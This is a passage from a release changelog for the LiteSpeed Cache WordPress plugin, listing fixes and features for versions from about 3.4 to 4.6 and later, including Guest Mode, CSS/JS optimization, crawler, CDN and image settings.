Object Cache. (knutsp) * **Data** Fixed an issue where empty version tags in the database repeatedly toggled the upgrade banner and reset settings to default. * **Purge** Fixed an issue where the site's index page could be purged upon deletion of an unviewable post. (Kevin) * **Toolbox** Added `View site before optimization` button under `Debug` tab. (Ryan D) * **Admin** Switch to using the `DONOTCACHEPAGE` constant to indicated WP-Admin pages are not cacheable. * **Admin** Moved no-cache header to very beginning to avoid caching unexpected exits. * **Cloud** Added message queue service for VPI. (Abe) * **Cloud** Bypassed 503 error nodes from node redetection process. (Abe) * **Cloud** Fixed a failure to detect `out_of_quota`. (Lauren) * **Cloud** Added ability to display dismissable banners generated by QUIC.cloud. * 🕸️**Crawler** Added realtime load detection before crawl. * 🕸️**Crawler** Adjusted crawler behavior for Divi pages to allow for Divi's CCSS generation process. (miketemby) * 🕸️**API** PHP constant `LITESPEED_CRAWLER_DISABLE_BLOCKLIST` and filter `litespeed_crawler_disable_blocklist` to disable blocklist. (Tobolo) * **CDN** Automatically add a trailing slash to `CDN URL` and `Original URLs` if user didn't provide one. (Lucas) * **Cache** When a URL redirects to a URL with a query string, consider these as different for caching purposes. (Shivam) * **Media** Added ability to disable lazyload from the LiteSpeed Options metabox on Post Edit page. * **Media** Added new default values to `WebP Attribute to Replace` setting for WPBakery and Slider Revolution. (JibsouX) * **Image Optimize** Dropped redundant `Page Speed` user agent when serving WebP images. (serpentdriver) * **GUI** Fixed an issue where manually dismissable admin messages were instead being treated as one-time messages. (Tynan Beatty) * **GUI** Fixed an issue where subsequent admin alerts would overwrite existing alerts in the queue. (Kevin/Tynan) * **GUI** Updated time offset in log. (Ruikai #PR444 #PR445) * **GUI** Added `litespeed_media_ignore_remote_missing_sizes` API description. * **CCSS** Fixed an issue where CCSS was unexpectedly bypassed if `CSS Combine` was OFF and `UCSS Inline` was ON. (Ruikai) * **Debug** Added response headers to debug log. (Kevin) = 4.6 - Mar 29 2022 = * **Page Optimize** Improved compatibility for JS Delay. * 🐞**Page Optimize** Fixed an issue for network subsites that occurred when only CSS/JS Minify are enabled. * **Localization** Added query string compatibility for Resource URLs. * **Vary** Fixed a potential PHP warning when server variable `REQUEST_METHOD` is not detected. * **Cache** Guest Mode now respects Cache Excludes settings. * **GUI** Added warning notice when enabling `Localize Resources` feature; each localized JS resource requires thorough testing! * **GUI** Fixed a PHP Deprecated warning that occurred with the Mobile Cache User Agent setting on PHP v8.1+. (jrmora) * **Conf** Removed Google related scripts from default `Localization Files` value. * **Media** WordPress core Lazy Load feature is now automatically disabled when LiteSpeed Lazy Load Images option is enabled. (VR51 #Issue440) * 🐞**API** Filter `litespeed_ucss_per_pagetype` for UCSS now also applies to CSS Combine to avoid UCSS failure. (Ankit) * **API** Added a filter `litespeed_media_ignore_remote_missing_sizes` to disable auto detection for remote images that are missing dimensions. (Lucas) = 4.5.0.1 - Feb 24 2022 = * 🔥🐞**Media** Fixed an issue where lazy-loaded images would disappear when using custom CSS image loading effects. = 4.5 - Feb 23 2022 = * 🌱**Page Optimize** Localization is back. * **Guest** Fixed organic traffic issue as different browsers may fail to set `document.referrer`. * **Image Optimize** Improved wp_postmeta table compatibility when gathering images. (Thanks to Thomas Stroemme) * 🐞**Page Optimize** Fixed a potential CSS/JS 404 issue for existing records that have been marked as expired. * **ESI** `LITESPEED_ESI_OFF` now affects `litespeed_esi_url` API filter too. * **Guest** Added a check to determine if Guest Mode is blocked by a third-party, and display warning if it is (Ruikai) * **Guest** To support WP sites with multiple domains, Guest Mode detection URL no longer uses domain. * **Report** Network now shows Toolbox page when having a large number of subsites. * **DB Optimize** Reduced default subsites count from 10 to 3 under Network Admin -> DB Optimize page to avoid timeout. * **Cloud** Fixed potential `lack_of_token` error when requesting domain key for cases where local summary value was not historically included in the array. * **Cloud** Fixed a PHP fatal error that occurred when encountering a frequency issue under CLI. (Dean Taylor #Issue410) * **Avatar** Force gravatar cache refresh in browsers and on CDN (rafaucau #PR430) * **API** New filter `litespeed_purge_ucss` to purge a single page UCSS. (#376681) * **API** New filter `litespeed_ucss_per_pagetype` for UCSS per page type generation. (Ankit) * **GUI** Replaced some GUI text and settings with more inclusive language (kebbet #PR437 #PR435) * **3rd** Excluded `WP Statistics` from inline JS optimize. (Ryan D) * **3rd** Added API filter `litespeed_3rd_aelia_cookies` for Aelia CurrencySwitcher. * **Media** Updated image lazyload library to 17.5.0. = 4.4.7 - Jan 11 2022 = * **Page Optimize** Dropped `Inline Lazy Load Images Library` option. Now will always inline lazyload library. (Ankit) * **3rd** Prevented JavaScript files from being appended to Rank Math SEO sitemap. * **Purge** Dropped default stale purge when purging a post. * **Cloud** Dropped unused API calls. * **Cloud** Dropped redundant IP validation in API calls. = 4.4.6 - Dec 27 2022 = * **Guest** Restored `document.referrer` for organic traffic purposes when Guest Mode is enabled. (michelefns) * **Image Optimize** Fixed a potential PHP notice when uploading images in WP w/ PHP7.4+. (titsmaker) * **ESI** Fixed an issue where ESI settings were not updated on customized widgets(#422 Abe) * **3rd** Reverted ESI Adminbar change on Elementor front pages for backward compatibility (#423 Abe) * **3rd** Fixed an issue where disabling ESI potential caused a PHP warning when using `Perfmatters`. (Jeffrey Zhang) * **Misc** Check whether HTTP_REFERER is set or not before using it in Router class. (#425 Abe) = 4.4.5 - Dec 1 2021 = * **Data** Fixed potential PHP notice when generating CSS/JS optimized files w/ PHP v7.4+. (Sarah Richardson/silencedgd/slr1979) * **API** Added `LITESPEED_ESI_OFF` constant to disable ESI, when defined before the WP `init` hook. * **API** Added `LSCWP_DEBUG_PATH` constant to specify debug log path. (khanh-nt) * 🐞**GUI** Fixed an issue where admin messages were not displayed. (Daniel McD) * **CDN** Used WP remote function to communicate w/ Cloudflare per WP guidance. * **3rd** Added compatibility for Perfmatters plugin's script manager (#417 Abe) * **3rd** Added compatibility for Elementor's Editor button when ESI is on (#418 Abe) = 4.4.4 - Nov 23 2021 = * **Page Optimize** Delay deletion of outdated CSS/JS files for a default of 20 days to avoid 404 errors with cached search engine copies. * **Cache** When caching, no longer send a purge request for CSS/JS removal to avoid cache engine conflicts. * 🐞**Core** Optimized SQL queries while autoloading if expected options are missing; reduced by 7 and 3 queries on backend and frontend respectively. (#396425 Jackson) * **Page Optimize** Fixed a 404 issue that occurred when upgrading the plugin manually, with a package upload or through the plugin manager. (Tobolo/Małgorzata/Abe) * **API** Added `litespeed_ccss_url` and `litespeed_ucss_url` API to manipulate the request URL for CCSS and UCSS. * **REST** Fixed a potential warning when detecting cacheable status on REST call. (rafaucau) * **OLS** Fixed an issue where the `COOKIEHASH` constant was undefined when used with OpenLiteSpeed as an MU plugin or with network activation. * **3rd** Sanitized POST data for nextgengallery. * **Cloud** Sanitized GET data when linking to QUIC.cloud. (#591762 WPScan) = 4.4.3 - Oct 13 2021 = * 🐞**Media** Fixed an issue where WebP is served erroneously under Guest Mode on older versions of Safari. (hash73) * 🐞**Media** Reverted regex change to fix `Lazy Load Image Parent Class Name Excludes` failure. (thpstock) * **Purge** Disabled `Purge Delay` in the optimization process by default. * **Conf** Dropped `.htaccess Path Settings` options for security concern. (WP) * **Conf** Dropped `CSS HTTP/2 Push`/`JS HTTP/2 Push` options. (Kevin) * **Conf** Set `Guest Optimization` default to OFF. * **Conf** Set `CCSS Per URL` default to OFF to avoid consuming more quota than intended after upgrade to v4. (n111) * **Object** Fixed an issue with Object Cache warnings during upgrade, when Guest Mode is enabled. * ☁️**Cloud** Fixed an issue with PHP notices when inquiring about quota usage for a service not currently in use. * **GUI** Added GO detail warning. (n111) * **GUI** Moved "quota will be still in use" warning from Guest Mode to Guest Optimization section. * **API** Added `LITESPEED_CFG_HTACCESS` PHP Constant to specify .htaccess path. * **API** Added `litespeed_qs_forbidden` hook to bypass `?LSCWP_CTRL=` query string. (minhduc) * **API** Added `litespeed_delay_purge` hook to delay the following Purge header until the next request. * **API** Added `litespeed_wpconfig_readonly` hook to disable `WP_CACHE` constant update based on the wp-config.php file. (#633545) = 4.4.2 - Sep 23 2021 = * **Purge** In order to clear pages containing 404 CSS/JS, the purge header will always be sent even in cases where purge must be delayed. * 🐞**Purge** Fixed a potential PHP warning caused when generating different optimized filenames. * **Cron** Dropped unnecessary HTML response in cron which sometimes resulted in wp-cron report email. (Gilles) * **Page Optimize** Purge caused by CSS/JS file deletion will now be silent. * **Page Optimize** Fixed an issue where the homepage failed to purge when addressing the 404 CSS/JS issue. * **Avatar** Fixed potential localized Avatar folder creation warning. (mattk0220/josebab) * **API** Added filter `litespeed_optm_html_after_head` to move all optimized code(UCSS/CCSS/Combined CSS/Combined JS) to be right before the `` tag. (ducpl/Kris Regmi) * **Debug** Under debug mode, cache/purge tags will be plaintext. = 4.4.1 - Sep 16 2021 = * 🐞**ESI** Fixed ESI failure on non-cached pages caused by `DONOTCACHEPAGE` constant. * 🐞**Page Optimize** Fixed an issue where the minified CSS/JS file failed to update when the file was changed. (ceap80) * 🐞**Page Optimize** Fixed an issue where the combined CSS/JS file randomly returned a 404 error when visiting the same URL with different query strings. (Abe) * **API** Added `litespeed_const_DONOTCACHEPAGE` hook to control the cache-or-not result of the `DONOTCACHEPAGE` constant. = 4.4 - Sep 8 2021 = * 🌱**Crawler** Added the ability to enable or disable specific crawlers. (⭐ Contributed by Astrid Wang #PR390) * 🌱**UCSS** Added `UCSS Inline` option. (Ankit). * 🌱**UCSS** Added `UCSS URI Excludes` option. (RC Verma). * 🐞**Page Optimize** Fixed an issue where combined CSS/JS files would potentially return 404 errors after a Purge All. (Special thanks to Abe & Ruikai) * **Page Optimize** Minimized the potential for 404 errors by query string when Purging All. * **Page Optimize** Dropped redundant query strings for minified CSS/JS files. * **Conf** Ugrade configuration safely to avoid the issue of new functions not being found in old codebase. * **Conf** Configuration upgrade process now adds a notification to admin pages and disables configuration save until upgrade is complete. (Lisa) * **JS** Fixed an issue where JS Defer caused a `litespeed_var_1_ is not defined` error when enabled w/ ESI options. (Tobolo) * 🐞**JS** Fixed an issue where `JS Delay` doesn't work for combined JS when `JS Combine` is enabled. (Special thanks to Joshua & Ankit) * **JS** `JS Delay` now will continue loading JS, even if there is an error in the current JS loading process. * 🐞**CCSS** If CCSS fails to generate, Load CSS Asynchronously will now be disabled. (Stars #54074166) * 🐞**UCSS** If UCSS generation fails the generated error will no longer be served inside the file. (Ryan D) * **Log** Updated the Debug log to use less code for prefix. * **3rd** Always respect `DONOTCACHEPAGE` constant definition to fix DIVI dynamic css calculation process. = 4.3 - Aug 16 2021 = * **UCSS** Separated UCSS Purge from CCSS Purge. (⭐ Contributed by Alice Tang #PR388) * 🐞**Cloud** Fixed an issue where CCSS/UCSS quota data failed to update locally. * **Cloud** Added server load as a factor when detecting node availability. * **Cloud** Improved the speed of checking daily quota and showing the related error message. * **Cloud** Added ability to re-detect node availability if the current node is responding w/ a heavy load code. * **Cloud** CCSS/UCSS/LQIP queue now exits immediately when quota is depleted. * **Cloud** Replaced separate `d/regionnodes` with a single `d/nodes` in the node list API for image optimization. * **LQIP** Fixed an issue with LQIP network compatibility. (⭐ Contributed by Alice Tang #PR387) * **GUEST** JS no longer preloads for Guest Optimization. (Ankit) * 🐞**Data** Fixed an issue where deleting the `cssjs` data folder causes a failure in the upgrade process. (Joshua #PR391) * **GUI** Fixed a potential dashboard PHP warning when no queue existed. (jrmora) * **GUI** Added daily quota on dashboard. * **GUI** Added downgrade warning to Toolbox -> Beta Test. * **GUI** Tuned `.litespeed-desc` class to full width in CSS. * **Conf** `Preserve EXIF/XMP data` now defaults to ON due to copyright concerns. (Tobolo) * 🐞**3rd** Fixed a PHP warning when using Google AMP w/ /amp as structure. (thanhstran98) = 4.2 - Jul 29 2021 = * **Cloud** Auto redirect to a new node if the current node is not available anymore. * **Cloud** Combined CCSS/UCSS to sub services of Page Optimization. * **Cloud** Added a daily quota rate limit to help mitigate the heavy service load at the beginning of the month. * **Cloud** Cached the node IP list in order to speed up security check. (Lucas) * 🐞**GUEST** Fixed an issue where Guest Mode remained enabled even when the UA setting is empty. (Stars) * **GUEST** Guest Mode will no longer cache POST requests. * **UCSS** Purging CSS/JS now purges the UCSS queue as well, to avoid failure when generating UCSS. * **UCSS** Separated service entry `UCSS` from `CCSS`. * **CCSS** Simplified `load_queue/save_queue/build_filepath_prefix` functions. (⭐ Contributed by Alice Tang #PR373) * **CCSS** If CCSS request fails, details are now saved in the CSS file. * **CCSS** Renamed CCSS ID in inline HTML from `litespeed-optm-css-rules` to `litespeed-ccss`. (Alice) * **Page Optimize** CCSS/UCSS now supports Cloud queue/notify for asynchronous generation. * **Page Optimize** Simplified CCSS/UCSS generation function. * **Page Optimize** Added the ability to cancel CCSS/UCSS Cloud requests. * **Page Optimize** Unnecessary quesry strings will now be dropped from CSS/JS combined files. * **Crawler** Reset position now resets crawler running status too. * **REST** Cloud request to REST will now detect whether an IP in in the Cloud IP list for security reasons. * **Object** Enhanced Object Cache compatibility for `CONF_FILE` constant detection. * **API** Added shorter alias `litespeed_tag` and other similar aliases for Cache Tag API. * **API** Renamed `LITESPEED_BYPASS_OPTM` to `LITESPEED_NO_OPTM` for Page Optimization. * **Toolbox** Dropped v3.6.4- versions in Beta Test as they will cause a fatal error in downgrade. * **GUI** Added shortcut links to each section on the Dashboard. * **GUI** Added UCSS whitelist usage description. (wyb) * **GUI** Showed the default recommended values for Guest Mode UA/IPs. * **3rd** Fixed AMP plugin compatibility. (⭐ Contributed by Alice Tang #PR368) * **3rd** Bypassed all page optimization including CDN/WebP for AMP pages. * **3rd** Improved compatibility with All in One SEO plugin sitemap. (arnaudbroes/flschaves #Issue372) * **3rd** Added wsform nonce. (#365 cstrouse) * **3rd** Added Easy Digital Download (EDD) & WP Menu Cart nonce. (#PR366 AkramiPro) * **3rd** Improved compatibility w/ Restrict Content Pro. (Abe #PR370) * **3rd** Improved compatibility w/ Gravity Forms. (Ruikai #371) = 4.1 - Jun 25 2021 = * 🌱**UCSS/CCSS/LQIP** Moved queue storage to file system from database wp-options table to lessen the IO load. (#633504) * 🌱**3rd** Added an option to disable ESI for the WooCommerce Cart. (#358 Anna Feng/Astrid Wang) * **ESI** Fixed an ESI nonce issue introduced in v4.0. (Andrew Choi) * **Object** Used new `.litespeed_conf.dat` instead of `.object-cache.ini` for object cache configuration storage. * **Conf** Now updating related files after plugin upgrade and not just after activation. * 🌱**Guest** Added a Guest Mode JS Excludes option. (Ankit/Mamac/Rcverma) * **Guest** Guest Mode now uses a lightweight script to update guest vary for reduced server load. * **Guest** Guest Mode now adds missing image dimensions. * **Guest** Guest vary will no longer update if there's already a vary in place to address the infinite loop caused by CloudFlare's incorrect cache control setting for PHP. * **Guest** Guest vary update request will no longer be sent if `lscache_vary` is already set. * **Guest** Added a Configurable Guest Mode UA/IP under the Tuning tab in the General menu. * **Guest** Guest Mode now allows cron to be hooked, even when UCSS/CCSS options are off. (#338437 Stars) * **Guest** Simplified the vary generation process under Guest Mode. * **Guest** Added a Guest Mode HTML comment for easier debugging. (Ruikai) * **Guest** Guest vary update ajax now bypasses potential POST cache. * **CCSS** Added back the options `Separate CCSS Cache Post Types` and `Separate CCSS Cache URIs`. (Joshua/Ankit) * **CCSS** CCSS/UCSS queue is now limited to a maximum of 500 entries. * **Control** The cache control constant `LSCACHE_NO_CACHE` will now have a higher priority than the Forced Public Cache setting. * **Crawler** The Crawler can now crawl Guest Mode pages. * **Crawler** Fixed a potential XSS vulnerability in the Crawler settings. (#927355) * **Crawler** The Crawler now supports a cookie value of `_null`. (Tobolo) * **Media** Updated the default value for the Responsive Placeholder SVG to be transparent. * **Media** WebP images in the background may now be served in Guest Mode. * **Media** WebP images in CSS may now be bypassed if the requesting Guest Mode client doesn't support WebP. * **Media** Fixed empty default image placeholder under Guest Mode. * 🐞**Image Optimize** Changed the missing `$_POST` to `$post_data` so the database status is properly updated. (#345 Lucas) * **Import** Export file is now readable to allow importing of partial configurations. (Ryan D/Joshua) * **Page Optimize** Fixed W3 validator errors in Guest Mode. (#61393817) * **3rd** A fatal WooCommerce error is no longer triggered by a custom theme reusing a previous LSCWP cache detection tag. * **3rd** AMP may now bypass Guest Mode automatically. * **Localize** Dropped the `Localize Resources` option as Guest Mode is a sufficient replacement. (Note: Due to user feedback during the development period, we have decided to reinstate this option in a future version.) * **Cloud** Changed the WP API url. * **Lang** Corrected a missing language folder. * **GUI** Added a CCSS/UCSS loading page visualization. (⭐ Contributed by Astrid Wang & Anna Feng #PR360) * **GUI** Added a warning to indicate when Guest Mode CCSS/UCSS quota is in use. (Contributed by Astrid Wang & Anna Feng #PR361) * **GUI** Added a `litespeed-info` text color. (Astrid Wang) * **GUI** Implemented various UI/UX improvements. (Joshua/Lisa) * **GUI** Duplicate cloud service messages with the same content will only display once now. (Marc Dahl) * **GUI** Added a WebP replacement warning for Guest Mode Optimization if WebP replacement is off. * **Misc** Dropped `wp_assets` from distribution to reduce the package size. (lowwebtech) * **Misc** Increased the new version and score detection intervals. * **Misc** Optimized WP Assets images. (#352 lowwebtech) * **Debug** Dropped the redundant error_log debug info. = 4.0 - Apr 30 2021 = * 🌱🌱🌱**Guest** Introduced `Guest Mode` for instantly cacheable content on the first visit. * 🌱**UCSS** Added a new service: `Unique CSS`, to drop unused CSS from elements from combined CSS * 🌱**CCSS** Added `HTML Lazyload` option. (Ankit) * 🌱**CCSS** Added `CCSS Per URL` option to allow Critical CSS to be generated for each page instead of for each Post Type. * 🌱**Media** Added `Add Missing Sizes` setting for improving Cumulative Layout Shift. (Fahim) * 🌱**JS** Switched to new JS minification library for better compression and compatibility w/ template literals. (LuminSol) * **Media** WebP may now be replaced in CSS. * **Media** Can now drop image tags in noscript to avoid lazyload. (Abe #314 /mattthomas-photography) * **Media** Bypass optimization if a page is not cacheable. * **Image Optimize** Auto hook to `wp_update_attachment_metadata` to automate image gathering process, and to handle the new thumbnail generation after images are uploaded. (smerriman). * **Image Optimize** Repeated image thumbnails won't be gathered anymore. * **Image Optimize** Simplified the rescan/gather/upload_hook for existing image detection. * **Image Optimize** Fixed the duplicated optimize size records in the postmeta table. (Abe #315) * **Image Optimize** Allow either JSON POST request or normal form request in `notify_img`. (Lucas #313) * **Image Optimize** Optimized SQL query for better efficiency. (lucas/Lauren) * **Image Optimize** Fixed issue where rescan mass created duplicate images. (#954399) * **Image Optimize** Image optimization pie will not show 100% anymore if there is still a small amount in the unfinished queue. * **Image Optimize** WebP generation defaults to ON for Guest Mode. * **Image Optimize** `Priority Line` package now can have smaller request interval. * **ESI** Disable ESI when page is not cacheable. (titsmaker) * **ESI** Fixed an issue where Divi was disabling all in edit mode, but couldn't disable ESI. (Abe) * **ESI** ESI init moved under `init` hook from `plugin_loaded` hook. * **CDN** Add basic support for CloudFlare API Tokens (Abe #320) * **CSS** Simplified `Font Display Optimization` option. * **CSS** Fixed manual cron timeout issue. (jesse Distad) * **CSS** Inline CSS may now use `data-no-optimize` to be excluded from optimization. (popaionut) * **JS** Combined `Load JS Defer` and `Load Inline JS Defer` options. * **JS** Forced async to defer. * **JS** Moved Google Analytics JS from constant default to setting default for removal. * **JS** Fixed potential JS parsing issue caused by JS src being changed to data-src by other plugins. (ankit) * **JS** Excluded spotlight from JS optimize. (tobolo) * **CCSS** Fixed CCSS/UCSS manual cron timeout issue. * **CCSS** Only 10 items will be kept for CCSS history. * **CCSS** The appearance of CCSS Purge in the topbar menu will be determined by the existence of CCSS cache, and not the setting only. * **CCSS** To avoid stuck queues when the current request keeps failing, the CCSS queue will always drop once requested. * **CCSS** CCSS will no longer hide adminbar. * **CCSS** CCSS may now be separate for network subsites. (Joshua) * **CCSS** Gave CCSS a unique filename per URL per user role per subsite. * **CCSS** Dropped `Separate CCSS Cache Post Types` option. * **CCSS** Dropped `Separate CCSS Cache URIs` option. * **CCSS** Subsites purge Avatar/CSS/JS/CCSS will not affect the whole network anymore. * **CCSS** Implemented a better queue list for CCSS that auto collapses if there are more than 20 entries, and shows the total on top. * **CSSJS** Now using separate CSS and JS folders instead of `cssjs`. * **CSSJS** Automatically purge cache after CCSS is generated. * **Network** Dropped network CSS/JS rewrite rules. * **Cache** Send cache tag header whenever adding a tag to make it effective in the page optimization process. * **Core** Used hook for buffer optimization; Used `init()` instead of `constructor`. * **Object** Used `cls` instead of `get_instance` for init. * **Cloud** Replaced one-time message with a dismissible-only message when the domain key has been automatically cleared due to domain/key dismatch. * **API** Dropped function `hook_vary_add()`. * **API** Dropped function `vary_add()`. * **API** Dropped function `filter_vary_cookies()`. * **API** Dropped function `hook_vary()`. * **API** Dropped action `litespeed_vary_add`. * **API** Dropped filter `litespeed_api_vary`. * **API** Use `litespeed_vary_curr_cookies` and `litespeed_vary_cookies` for Vary cookie operations instead. * **API** Dropped action `litespeed_vary_append`. * **Vary** 3rd party vary cookies will not append into .htaccess anymore but only present in response vary header if in use. * **Vary** Dropped function `append()`. * **Vary** Commenter cookie is now considered cacheable. * **Crawler** Minor update to crawler user agent to accommodate mobile_detect.php (Abe #304) * **Data** Added a table truncate function. * **Data** Added new tables url & url_file. * **Data** Dropped cssjs table. * **Data** Options/Summary data is now stored in JSON format to speed up backend visit. (#233250) * **Data** Default `CSS Combine External and Inline` and `JS Combine External and Inline` to On for new installations for better compatibility. * **Purge** Fixed potential purge warning for certain themes. * **Purge** Purge will be stored for next valid visit to trigger if it is initially generated by CLI. * **Page Optimize** `CSS Combine`/`JS Combine` will now share the same file if the contents are the same. Limited disk usage for better file usage and fewer issues with random string problems. * **Page Optimize** Dropped option CSS/JS Cache TTL. * **Page Optimize** Bypass optimization if page not cacheable. * **Page Optimize** Purge CSS/JS will purge the `url_file` table too. * **Page Optimize** Optionally store a vary with a shorter value. * **Page Optimize** Removing query strings will no longer affect external assets. (ankit) * **Page Optimize** Better regex for optimization parsing. * **Page Optimize** Eliminated w3 validator for DNS prefetch and duplicated ID errors. (sumit Pandey) * **Page Optimize** New Optimization for Guest Only option under Tuning. * **Page Optimize** Now forbidding external link redirection for localization. * **Debug** Implemented a better debug format for the 2nd parameter in the log. * **GUI** Bypass page score banner when score is not detected (both 0). (ankit) * **GUI** Fixed deprecated JQuery function warning in WP-Admin. (krzxsiek) = 3.6.4 - Mar 15 2021 = * **Toolbox** Fixed Beta Test upgrade error when upgrading to v3.7+. = 3.6.3 - Mar 10 2021 = * **Core** Fixed potential upgrade failure when new versions have changes in activation related functions. * **Core** Upgrade process won't get deactivated anymore on Network setup. = 3.6.2 - Feb 1 2021 = * **Page Optimize** Fixed an issue where network purge CSS/JS caused 404 errors for subsites. * **Page Optimize** Fixed an issue where purge CSS/JS only caused 404 errors. * **Page Optimize** Added a notice for CSS/JS data detection and potential random string issue. * **Page Optimize** Limited localization resources to specified .js only. (closte #292/ormonk) * **JS** Data src may now be bypassed from JS Combine. (ankit) * **CLI** Fixed a message typo in Purge. (flixwatchsupport) * **Browser** Added font/otf to Browser Cache expire list. (ruikai) * **Data** Updated data files to accept PR from dev branch only. * **3rd** Add data-view-breakpoint-pointer to js_excludes.txt for the Events Calendar plugin. (therealgilles) * **Cloud** Bypassed invalid requests. * **Doc** CDN Mapping description improvement. (mihai A.) = 3.6.1 - Dec 21 2020 = * **WP** Tested up to WP v5.6. * **WebP** Reverted WebP support on Safari Big Sur and Safari v14.0.1+ due to an inability to detect MacOS versions from UA. (@antomal) * **CDN** Dropped the option `Load JQuery Remotely`. * **CDN** Fixed CDN URL replacement issue in optimized CSS files. (@ankit) * **CDN** Fixed an issue where CDN CLI wouldn't set mapping image/CSS/JS to OFF when `false` was the value. * **CDN** Started using React for CDN Mapping settings. * **GUI** Secured Server IP setting from potential XSS issues. (@WonTae Jang) * **Toolbox** Supported both dev and master branches for Beta Test. Latest version updated to v3.6.1. * **Purge** Purge Pages now can purge non-archive pages too. * **Admin** Simplified the admin JS. * **Admin** Limited crawler-related react JS to crawler page only. = 3.6 - Dec 14 2020 = * 🌱**WebP** Added WebP support on Safari Big Sur or Safari v14.0.1+. (@ruikai) * 🐞**Config** Fixed an issue where new installations were not getting the correct default .htaccess content. * **Crawler** Will auto bypass empty sub-sitemap instead of throwing an exception. (@nanoprobes @Tobolo) * **Crawler** Now using React for Cookie Simulation settings instead of Vue.js. Dropped Vue.js. * **Crawler** Dropped `Sitemap Generation` (will only use 3rd party sitemap for crawler). * **CSS** Added `CSS Combine External and Inline` option for backward compatibility. (@lisa) * **Object** Forbid .object-cache.ini visits. (@Tarik) * **Page Optimize** Dropped `Remove Comments` option to avoid combine error. * **CSS** Added a predefined CSS exclude file `data/css_excludes.txt`. * **CSS** Excluded Flatsome theme random inline CSS from combine. * **CSS** Excluded WoodMart theme from combine. (@moemauphie) * **Page Optimize** Excluded tagDiv.com Newspaper theme dynamic CSS/JS from CSS/JS Combine. * **CSS** Added predefined JS defer excludes list. (@Shivam) * **JS** `data-no-defer` option now supports inline JS. (@rafaucau) * **Media** Lazyload inline library is now bypassed by JS Combine. * **Admin** Fixed WP-Admin console ID duplicate warnings. * **Cloud** Dropped QUIC.cloud sync options that have long been unused. * **CSS** Dropped `Unique CSS File` option (UCSS will always generate unique file, will use whitelist to group post type to one CSS). * **GUI** Dropped Help tab. * **Toolbox** Added 3.5.2 to version list. = 3.5.2 - Oct 27 2020 = * **CSS** `CSS Combine` is now compatible w/ inline noscript CSS. (@galbaras) * **GUI** Added ability to manually dismiss the JS option reset message in v3.5.1 upgrade process. (#473917) * 🐞**CSS** `CSS Excludes` setting will no longer lose items beginning w/ `#`. (@ankit) * **API** New `litespeed_media_reset` API function for image editing purposes. (@Andro) = 3.5.1 - Oct 20 2020 = * **JS** Inline JS containing nonces can now be combined. * **JS** Reset JS Combine/Defer to OFF when upgrading to avoid breaking sites. * **JS** Added new option JS Combine External and Inline to allow backwards compatibility. * **JS** Added Inline JS Defer option back. (@ankit) * **Page Optimize** Dropped Inline JS Minify option and merged the feature into JS Minify. * **JS** Pre-added jQuery to the default JS excludes/defer list for better layout compatibility for new users. * **JS** Excluded Stripe/PayPal/Google Map from JS optimization. (@FPCSJames) * **JS** Allowed excluded JS to still be HTTP2 pushed. (@joshua) * **CCSS** Critical CSS now can avoid network pollution from other sites. (@ankit) * **Toolbox** Beta Test now displays recent public versions so it is easier to revert to an older version * **Vary** Server environment variable Vary can now be passed to original server from QUIC.cloud for non-LiteSpeed servers. * **ESI** Improved backward compatibility for ESI nonce list. (@zach E) * 🐞**Misc** Fixed failure of upgrade button on plugin news banner and made cosmetic improvements. * **Doc** Added note that LSCWP works with ClassicPress. = 3.5.0.2 - Sep 30 2020 = * This is a temporary revert fix. Code is SAME as v3.4.2. = 3.5.0.1 - Sep 29 2020 = * 🔥🐞**CSS** Fixed print media query issue when having CSS Combine. (@paddy-duncan) = 3.5 - Sep 29 2020 = * **Page Optimize** Refactored CSS/JS optimization. * **Page Optimize** CSS and JS Combine now each save to a single file without memory usage issues. * **CSS** Inline CSS Minify is now a part of CSS Minify, and will respect the original priorities. (thanks to @galbaras) * **JS** JS Combine now generates a single JS file in the footer. (Special thanks to @ankit) * **JS** JS Combine now combines external JS files, too. (Thanks to @ankit) * **JS** JS Deferred Excludes now uses the original path/filename as keywords instead of the minified path/filename, when JS Minify is enabled. * **JS** JS Combine now combines inline JS, too. * **JS** JS Excludes may now be used for inline JS snippet. * **Page Optimize** Inline CSS Minify and Max Combined File Size retired due to changes listed above. * **CSS** Combined CSS Priority retired due to changes listed above. * **JS** Exclude JQuery, Combined JS Priority, Load Inline JS Deferred, and Inline JS Deferred Excludes retired due to changes listed above. * **JS** Predefined data file data/js_excludes.txt now available for JS Excludes. * **ESI** Predefined data file data/esi.nonces.txt now available for ESI Nonces. * **ESI** Remote Fetch ESI Nonces functionality retired. * **API** Added support for new litespeed_esi_nonces filter. * **Object** Object Cache will not try to reconnect after failure to connect in a single process. * **CCSS** Remote read CSS will add the scheme if it is missing from the URL. * **CCSS** CSS will no longer be prepared for a URL if 404 result is detected. * **CCSS** Fixed most failures caused by third party CSS syntax errors. * **CCSS** Remote read CSS will fix the scheme if the URL doesn't have it. * **CCSS** Excluded 404 when preparing CSS before request. * **CCSS** Adjusted CCSS timeout from 180 seconds to 30 seconds. * **Image Optimize** Fixed the delete attachment database error that occurred when not using the image optimization service yet. * **Media** Added iOS 14 WebP support. * **Data** Fixed database creation failure for MySQL v8. * **Cloud** Error code err_key will clear the domain key in order to avoid duplicate invalid requests. * **Network** Fixed issue with object cache password file storage that occurred when resaving the settings. (#302358) * **Misc** Fixed IP detect compatibility w/ Apache. * **GUI** Fixed the description for Do Not Cache Categories. * **Preload** Upgraded Instant Click to a new stable preload library. (@stasonua0) = 3.4.2 - Sep 8 2020 = * **CCSS** Corrected the issue that wrongly appended non-CSS files to CSS in links before sending request. * **3rd** YITH wishlist now sends a combined single sub request for all widgets contained in one page. (LSWS v5.4.9 build 3+ required) * **ESI** Added support for ESI combine feature. * **GUI** Dropped banner notification for missing domain key when domain key is not initialized. * **Log** When QC whitelist check fails, a detailed failure log is now appended. = 3.4.1 - Sep 2 2020 = * 🐞**CCSS** Fixed an issue where dynamically generated CSS failed with `TypeError: Cannot read property type of undefined`. * 🐞**Page Optimize** Fixed CSS optimization compatibility for CSS dynamically generated with PHP. * **Page Optimize** Added the ability to defer JS even when the resource is excluded from other JS optimizations. (@slr1979) * **ESI** Added support for ESI last parameter inline value. * **3rd** YITH Wishlist, when cached for the first time, will no longer send sub requests. = 3.4 - Aug 26 2020 = * 🌱**LQIP** New setting **LQIP Excludes**. * 🌱**LQIP** Added a Clear LQIP Queue button. * 🌱**CCSS** Added a Clear CCSS Queue button. * **CCSS** Fixed an issue which wrongly included preloaded images in CCSS. (@pixtweaks) * **Network** Primary site and subsite settings now display correctly. * **Page Optimize** Noscript tags generated by LSCWP will only be dropped when the corresponding option is enabled. (@ankit) * **DB Optimize** Fixed database optimizer conflicts 